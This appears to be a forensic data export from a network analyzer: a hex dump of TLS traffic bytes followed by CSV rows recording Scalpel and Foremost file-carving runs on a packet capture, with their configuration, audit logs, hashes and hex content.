f4 56 74 2a 2a 71 df 31 4f a4 c4 30 b9 cd 54 d6 80 3d ca 42 c0 4d c2 f2 d6 8e 4e e4 57 40 cc e0 7a 2e 13 eb 6b 5e 24 82 5a 41 53 9e 2f a3 ef fd 35 34 d5 3f 4e 3d a8 b9 9a 17 ca 0e 81 35 66 47 ba c8 79 85 cb b9 43 d3 d7 29 12 82 a8 e5 d9 fa f4 a0 54 4e 2d 7f cf a2 88 6f 6b 67 35 c1 31 84 66 cd 67 60 c1 9d 1c c4 29 27 56 00 3e 99 83 d8 7f 46 68 b4 6f 6a ae 2f f6 03 30 44 3b 29 84 20 33 2b f5 53 3f be 7e 58 58 d3 f8 0d 10 62 c1 19 c9 4c 48 74 94 3e c0 8b 7d 37 cb 51 3e fe 52 4c dd 76 f7 bf 85 0d ef 82 2d 02 1d a4 a2 6b 8a 08 8f d8 8e 91 58 0d 60 b5 9f ff fa 4d ef 80 c2 77 d4 1e 5b ad 19 6c b3 1c 46 47 4a e4 12 a9 e3 d1 a7 d9 a5 d5 15 cb fd 8b ba 81 b1 b9 ac b0 2e 82 8e aa 85 3e 02 84 78 37 a8 eb fe b5 29 0f 7d 22 26 29 b6 cb cd c3 a1 82 38 7c 0f 06 51 40 18 3e 0f 87 6c 8b a5 a9 89 3f 8f f8 46 52 09 73 df 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 b1 ee a0 9b 12 5f b7 4c fc b3 91 5a 21 50 d8 7a fb b7 38 18 a3 1d d8 ea 07 90 54 0d c5 c7 fb d2 17 03 03 00 40 00 00 00 00 00 00 00 01 01 89 9b 31 16 7e 00 f7 79 77 24 03 d1 6a 18 72 ee 0f 99 a9 34 50 4f 0e d2 de 43 10 56 5c 37 3a 9c bc 18 89 e8 34 7b 33 40 c9 3c 04 56 99 6a a4 e8 5f 8c 03 6c b4 16 c4 17 03 03 00 21 00 00 00 00 00 00 00 02 73 80 c0 82 e9 cd 81 f8 39 0d 46 31 76 f2 61 93 ef 60 07 3d 7e e2 fd 9b 05 17 03 03 03 17 00 00 00 00 00 00 00 03 19 db e7 22 d9 75 35 d0 36 52 60 43 e5 81 6c 5a 51 52 e9 dd be e7 4e 4a 86 60 a5 3a 3f 19 eb 7e 00 df 26 d9 95 03 b4 0a a1 dd 36 18 10 5a cd a6 e4 c3 18 a6 44 c1 ab 8c 78 0c 7b b6 38 2a 68 bb 44 a0 70 d0 68 ba 57 99 13 bc f0 06 b3 17 83 aa cc 94 67 d1 42 39 d4 8f 11 84 fb e4 b6 f4 1a 46 11 41 41 b0 7b ac 62 18 04 d7 88 ea fb 60 b6 cd a6 bf ad b6 89 58 af be ca 45 74 6c d2 d6 ea d8 b1 43 23 af 9a b6 a2 18 3c 19 30 9b fc 96 12 09 47 e6 96 90 3a 9d cb fd 40 75 07 06 5b 3a ff 69 76 44 ac 03 5a 64 f9 a5 f2 d5 65 60 66 65 1d 68 d7 e9 73 4f a0 c5 70 29 9a 92 ac 2f d2 e5 6f 97 a2 40 bd 30 db 6b f8 d2 51 d9 71 cf e7 47 81 f1 f9 f9 3b 86 7c fa b2 67 f9 c8 6d c7 30 ea f5 77 60 9c bc 0c ab b0 a2 de 85 32 9a c2 54 fe 07 1d 94 04 3d f5 71 92 73 1f 18 cb 83 b5 52 44 95 f8 bc 39 9b 76 81 3a fd 50 b8 9f cb 3a 11 48 56 46 90 c4 a5 f2 86 85 c8 48 37 be c7 d7 4f ab ca 51 6b 48 51 55 98 41 1c ab 0c 98 0d c1 3c 12 03 84 7c fb e7 d7 6f 77 70 05 aa 10 2e f1 b5 e3 ef 01 d4 79 d4 8d 04 b6 17 a4 16 a9 ca c4 cc 7f 5c 39 db 08 40 de 78 96 0c 5a 6c 3b e4 91 26 1f b6 04 bf 55 21 bc 46 e4 9d 8f 59 be ce e5 90 f1 c5 4f 0b 53 dc b7 f5 06 94 97 ac d3 91 a8 e1 ec 9c 79 d9 eb 8a a8 af 3a 7c ad dd 7c 04 a3 b9 49 45 34 8b a3 52 b7 26 1d 29 20 d8 0b 80 dd d2 80 46 25 f3 6d 8f 20 fe 85 15 b2 ad a8 8b 76 9f 75 af 2c 41 8d 78 73 26 d4 a6 0d b0 b1 89 e4 27 a3 5a e0 43 40 49 5b 37 d1 b8 53 58 3e e2 4f c7 f4 81 e5 2e 5a 39 88 60 86 ca d2 b7 84 a6 16 8c d7 7c 6f 01 31 42 76 d6 9e 66 cb 09 51 26 fe 9d d9 4f 98 01 3d 59 ef 24 5d 9d 93 b3 13 15 30 d9 8c 7a 55 e3 3d 2e 4a 4b b2 21 92 03 6a 3a ae f4 60 66 65 48 7e 0f 32 8c f6 ac 35 bd d0 c6 f6 4a 5e ec 08 ed da ab cb 33 15 33 01 85 3d b5 cb 78 5a 3a 22 2a 9f 15 f1 5b d3 5a 64 9f 34 73 1a d4 7a 26 e3 27 35 22 38 0d 6a 3e 79 67 13 20 54 4c 7e 72 db ac de c7 b4 d5 28 8d 07 fd 19 14 98 13 db 26 a5 24 28 32 0b 57 4f 80 4c 29 ad 31 3a e9 f4 fb 51 df e5 53 e7 29 08 3b ea 3b c8 5a b4 c2 13 57 1e 62 4e 55 cd 43 a3 03 d1 72 15 05 61 c3 4b ed 37 51 ac 36 11 1c a6 a0 75 55 8d 63 f0 0d 13 68 da d3 bb 9f 9c c0 8e 1c bd 5c 23 40 35 fc e3 5c 11 c7 74 51 1a a7 24 89 d7 7c 5b 2e 99 65 fc df c2 60 e1 b9 1f 59 01 c3 db e4 25 60 1c 87 dd 5a 82 d9 1a 64 8f 0c 81 52 5f 51 2d f2 2a 35 8a b8 96 45 59 ca a5 24 42 15 f7 fd a2 11 7c 88 d7 22 e4 81 3c 19 b9 38 39 11 6e 3d d4 43 e9 2e 1e 7b a7 61 a2 88 e5 0f 65 19 de 6c 54 f6 ee b6 f1 bd 17 03 03 00 cf 00 00 00 00 00 00 00 04 c0 42 94 65 e8 e5 c8 d0 a3 7c 3d 36 82 38 bf ad 17 92 7b 79 aa c0 3e f8 a8 c2 ef 85 4f ab 40 1e ed 16 9c 0c 23 c8 85 e6 bf c5 17 e7 00 f7 43 4a 6a 9b 02 cc a7 01 43 3d 05 5c cb 9a 42 25 d9 d8 5e b2 54 eb 2b 97 d1 23 8e fc 9f 3a cd 7e dc be 17 68 cb 89 31 d7 5c 42 17 9a 6f ec 5d 59 cc 28 a9 40 aa 02 d3 67 a5 6b 92 9e c3 5a 06 ae e3 f7 e7 74 44 af 35 eb 53 18 ed fe df 7a 7f 49 b7 83 4c 80 05 0b 46 87 d5 48 e8 1a 8c d3 5b 2b 62 7d 2c b9 9a e1 8a 83 9a e9 5a 97 5d 18 b0 82 b7 18 fe 83 b6 a7 12 90 16 56 b4 be 94 0c 31 2f c3 8b 87 34 b7 ca f7 e6 34 12 ca 33 26 9c e6 2a 86 f9 19 d1 1c 00 40 e7 b1 17 03 03 00 21 00 00 00 00 00 00 00 05 de 92 01 c5 e8 67 c6 e8 b4 0f 29 53 84 50 a4 fb 41 bc 13 fa d7 ae 71 ea b0 17 03 03 02 91 00 00 00 00 00 00 00 06 0b ae 4a 05 82 b7 62 22 e8 93 cb 71 e0 f2 e7 19 74 86 b3 65 87 1c 95 fc 73 ce 74 dc 27 3e ac b0 55 7c 34 30 7f c3 39 e5 b4 b7 57 f6 17 5f 65 e8 f8 3c 2b d7 d2 be e0 61 64 53 1e 93 8e f8 03 fe f5 eb 78 b2 92 10 77 34 4b 26 f1 5d 04 99 7d 23 ca 41 a9 3b b5 4b 4b ae 55 41 8c ed a7 23 f5 d9 78 72 e5 15 15 40 69 e5 ae ea 23 2a e4 46 65 e4 27 29 ec d2 0d 54 d0 2a 16 5e 9c 82 0d 75 3f 8d 8f 01 af 25 c0 e0 a4 5c bc b1 23 b5 5f 06 80 c3 6e 9e fa 4b fd 06 99 18 da ab 5d 07 ca 02 4a 3e d1 12 91 fa 63 74 8f 18 f9 13 a5 31 ee 91 1d 45 5a 3b 71 fd 58 83 50 44 29 b1 33 18 93 ab 42 c8 da b8 29 05 7d d4 79 df 30 96 e6 0a 89 a1 90 fb ae 03 8b c8 2f eb 8f 55 25 30 06 fb 33 82 ee 3f 7f 99 e0 21 47 0b ab 95 34 5e 65 7f 07 42 27 d7 a9 fe 51 71 35 54 fa cb d5 76 58 89 fd 7f 47 ac 89 40 ba 58 79 47 7c 74 37 d0 c5 3c ad 64 00 19 c3 41 ab 57 aa ad e5 a7 cb a0 fb 65 ef f1 25 f7 6f 19 dc f1 8f a3 a0 3a e4 cb 69 26 1b 14 75 5b 3d 47 04 53 c1 2f a4 b0 ae 45 8b ea b0 4a ae 33 52 71 17 f4 3c 53 c3 a3 df 52 da e4 95 78 60 26 62 9d 00 f7 38 50 1a 35 08 66 55 57 23 d4 9c a6 b2 48 cf 65 ea 71 34 36 05 32 b0 00 e7 23 04 21 60 58 75 1c 02 27 64 45 e1 9f 8c c1 b3 da d0 0b 0e d1 86 db 35 e5 7c b2 ef 31 b6 f7 38 b3 72 7b 38 ec e3 89 69 85 cf c3 00 04 ca fa 86 e8 77 4a 9b e1 39 12 bd 6e 4f 8a 2b e8 9e 0c 7f 05 f1 79 af 40 31 ae 94 4a 1c ee 58 2a c2 03 2c 8c aa 6b 1b 6c d5 f9 1a 19 84 f4 66 89 6b 78 d5 4c 94 5a cb 9e b5 11 06 0b 41 a3 13 d3 29 74 a6 37 e9 ed 2f 68 81 2e 8a d9 3f c5 c7 5d 16 5b ba 95 06 c2 ec a9 fd 99 b7 a1 16 ac 46 ff 48 ef 18 1b 91 04 97 a2 95 b4 25 36 fe 90 e6 f8 fd 88 ac 93 7e ec 15 4e e2 4a 8f 13 28 f6 a7 fa 46 5e d8 df 7e 5a a5 24 4b 5e 5f 8e 5a be f3 69 14 71 0a 16 7e c6 c4 79 0a c5 3b 3c 0c 66 f9 4e 9e 99 7d 6b 83 c4 a0 a3 d3 38 3e 98 18 cd 6a 1b 3c 22 55 b5 be 73 cd 5c 31 e8 9e e5 20 7d 34 a8 d3 62 85 4f 31 60 26 47 18 b8 6a e8 76 82 50 1b ee 3e 58 a2 9a ef 66 97 90 7b fa b7 fc 42 db 73 08 4d af 13 96 6c d2 98 1a 0c e7 5f 72 6c 2e 17 03 03 02 70 00 00 00 00 00 00 00 07 22 cd fe 6d de ad 95 ab 5c 83 d7 b7 ad e3 3d 8d 19 7b 8d d0 10 96 31 98 9f 8b be 74 1d 52 d4 1d 06 da 63 55 e4 f5 92 c9 e9 1b 51 ed d3 be 3d f3 d3 24 b8 95 6e b5 7a 4e 95 42 79 f7 ec 6b a2 7a 11 b7 8a 45 88 bf ca 1f af f5 46 6f cd fd 02 fe c4 34 6f 12 50 48 81 38 13 9e 18 23 7a 4f 6d 00 9b 9f 8b 11 3f 40 95 19 fe d2 cc fe 71 4e b1 80 76 a6 f6 17 8f b4 40 4c 94 af a3 d9 be 87 a3 8b cb cd 0c fe c1 2c 27 fd ec 33 e0 9f 52 5a 4d 57 54 2d e2 b4 3b 2e 26 9e 9d a1 eb c0 64 10 24 3f 2c 41 59 5a 1e f5 6b 80 86 2b 9b 08 2a be 62 98 73 6f e5 1b f8 13 18 af c0 e4 20 49 53 17 7d 0b 34 5f 57 64 ae 7a c2 e5 7b 9a 54 07 26 6a d5 c1 c8 93 6c 15 b1 49 ea 94 74 ab 6f 30 e9 28 35 0d 52 87 97 30 ec b9 3d 58 bb 80 5b 22 02 70 64 01 f1 5e 6b 5a 27 12 0a 93 a3 d7 ea 00 77 24 cf b7 c5 eb ee 99 e6 ff 57 bc 56 83 b7 90 02 83 b4 f6 98 ac 1e b5 17 56 e3 93 71 f0 4d 66 d0 d4 5c 3d 68 de 6f 26 39 03 c0 a5 c3 91 76 a4 25 b3 cb 9b 1b 5e 9f f7 fd 57 5f 61 02 85 ee 99 48 a7 f5 4e 4b 2b 61 d3 a8 82 32 94 96 b3 96 a7 67 2a 5d d1 6d 0f ca 46 25 9b e6 db cd 8a 0e a8 d7 cd e3 24 18 17 aa de 78 29 0e 35 bb 8b f5 c8 74 2d b2 65 5e 81 06 6a 07 70 4b 1b 47 cb 99 fd f6 c0 26 01 aa 38 c4 2d bc 4e 80 14 c1 a1 92 93 a4 fd 16 b7 09 77 f9 c9 45 b3 91 79 ad 29 11 f0 57 1f e4 b5 5b 96 08 17 6e ae 6d 86 95 ae 90 da eb b5 13 d6 a7 38 78 dc 11 d9 34 3c f1 9c 1b db 53 43 8a 51 cd b7 93 43 61 95 2c af 83 1f 9f 1f a7 2f 77 30 60 c3 78 b1 aa e9 b0 96 5e 94 fd b9 b7 6b ae 94 71 01 56 31 23 c3 84 ca b7 36 33 6a 02 d1 2a bc 13 a9 dd 87 e4 03 b7 ff 95 2b 24 2f 0e 9b 98 ad 6b 3f d5 11 1c 5f 08 0d 02 fb 4e e1 71 32 7e 79 15 f5 87 3a d2 54 c7 51 d6 ea 50 23 1e bf 80 d5 f8 97 6f f3 2c 39 f2 3d b3 6b 6a 20 e7 a9 dc 97 0b 24 ca 95 61 65 3a 0f 60 57 09 83 36 a7 cc 0c 4a 12 a1 b2 be a6 3c b8 16 25 4f d3 3a ed b6 d2 6a 9e ef 17 7c f1 bc a6 b5 fd ff 12 3b e6 ab 58 08 92 82 5f c5 a4 00 3e\n2026-06-14T20:03:58.362834,Tool:tmpkanycykx/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmpkanycykx/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-06-14T20:03:58.367189,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpkanycykx/carved/scalpel/audit.txt,1391,7735c083ae6f39496565b7467fc1fcd9,6859ffe68b4a5e09605d6400d8520f75f10e9de9cef66f212199de01bdb4cf5f,4.62,\"Scalpel version 1.60 audit file, Started at Sun Jun 14 20:03:58 2026, Command line:, scalpel -c /tmp/tmpkanycykx/carved/scalpel.conf /tmp/filtered_olkh9ug4.pcap -o /tmp/tmpkanycykx/carved/scalpel , Output directory: /tmp/tmpkanycykx/carved/scalpel, Configuration file: /tmp/tmpkanycykx/carved/scalpel.conf, Opening target , /tmp/filtered_olkh9ug4.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, 00000012.mp3         9305, YES               0, filtered_olkh9ug4.pcap, 00000011.gif        50045, YES               0, filtered_olkh9ug4.pcap, 00000010.gif        47507, YES               0, filtered_olkh9ug4.pcap, 00000009.gif        37299, YES               0, filtered_olkh9ug4.pcap, 00000008.gif        35381, YES               0, filtered_olkh9ug4.pcap, 00000007.gif        24925, YES               0, filtered_olkh9ug4.pcap, 00000006.gif        23047, YES               0, filtered_olkh9ug4.pcap, 00000005.gif        50045, YES               0, filtered_olkh9ug4.pcap, 00000004.gif        47507, YES               0, filtered_olkh9ug4.pcap, 00000003.gif        37299, YES               0, filtered_olkh9ug4.pcap, 00000002.gif        35381, YES               0, filtered_olkh9ug4.pcap, 00000001.gif        24925, YES               0, filtered_olkh9ug4.pcap, 00000000.gif        23047, YES               0, filtered_olkh9ug4.pcap, Completed at Sun Jun 14 20:03:58 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 33 3a 35 38 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 6b 61 6e 79 63 79 6b 78 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 6b 61 6e 79 63 79 6b 78 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 6b 61 6e 79 63 79 6b 78 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 6b 61 6e 79 63 79 6b 78 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 30 30 30 30 30 30 31 32 2e 6d 70 33 20 20 20 20 20 20 20 20 20 39 33 30 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 0a 30 30 30 30 30 30 31 31 2e 67 69 66 20 20 20 20 20 20 20 20 35 30 30 34 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 0a 30 30 30 30 30 30 31 30 2e 67 69 66 20 20 20 20 20 20 20 20 34 37 35 30 37 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 0a 30 30 30 30 30 30 30 39 2e 67 69 66 20 20 20 20 20 20 20 20 33 37 32 39 39 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 0a 30 30 30 30 30 30 30 38 2e 67 69 66 20 20 20 20 20 20 20 20 33 35 33 38 31 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 0a 30 30 30 30 30 30 30 37 2e 67 69 66 20 20 20 20 20 20 20 20 32 34 39 32 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 0a 30 30 30 30 30 30 30 36 2e 67 69 66 20 20 20 20 20 20 20 20 32 33 30 34 37 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 0a 30 30 30 30 30 30 30 35 2e 67 69 66 20 20 20 20 20 20 20 20 35 30 30 34 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 0a 30 30 30 30 30 30 30 34 2e 67 69 66 20 20 20 20 20 20 20 20 34 37 35 30 37 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 0a 30 30 30 30 30 30 30 33 2e 67 69 66 20 20 20 20 20 20 20 20 33 37 32 39 39 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 0a 30 30 30 30 30 30 30 32 2e 67 69 66 20 20 20 20 20 20 20 20 33 35 33 38 31 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 0a 30 30 30 30 30 30 30 31 2e 67 69 66 20 20 20 20 20 20 20 20 32 34 39 32 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 0a 30 30 30 30 30 30 30 30 2e 67 69 66 20 20 20 20 20 20 20 20 32 33 30 34 37 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 33 3a 35 38 20 32 30 32 36 0a\n2026-06-14T20:03:58.356627,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpkanycykx/carved/foremost/audit.txt,700,2653455f583809045a3f63d4fed98992,701d4077ca3f6871c7d4310cc98ef052634bdbea278e44bcb3e916232825740a,4.92,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Sun Jun 14 20:03:58 2026, Invocation: foremost -t all -i /tmp/filtered_olkh9ug4.pcap -o /tmp/tmpkanycykx/carved/foremost , Output directory: /tmp/tmpkanycykx/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_olkh9ug4.pcap, Start: Sun Jun 14 20:03:58 2026, Length: 56 KB (57988 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Sun Jun 14 20:03:58 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Sun Jun 14 20:03:58 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 33 3a 35 38 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 6b 61 6e 79 63 79 6b 78 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 6b 61 6e 79 63 79 6b 78 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 6f 6c 6b 68 39 75 67 34 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 33 3a 35 38 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 35 36 20 4b 42 20 28 35 37 39 38 38 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 33 3a 35 38 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 33 3a 35 38 20 32 30 32 36 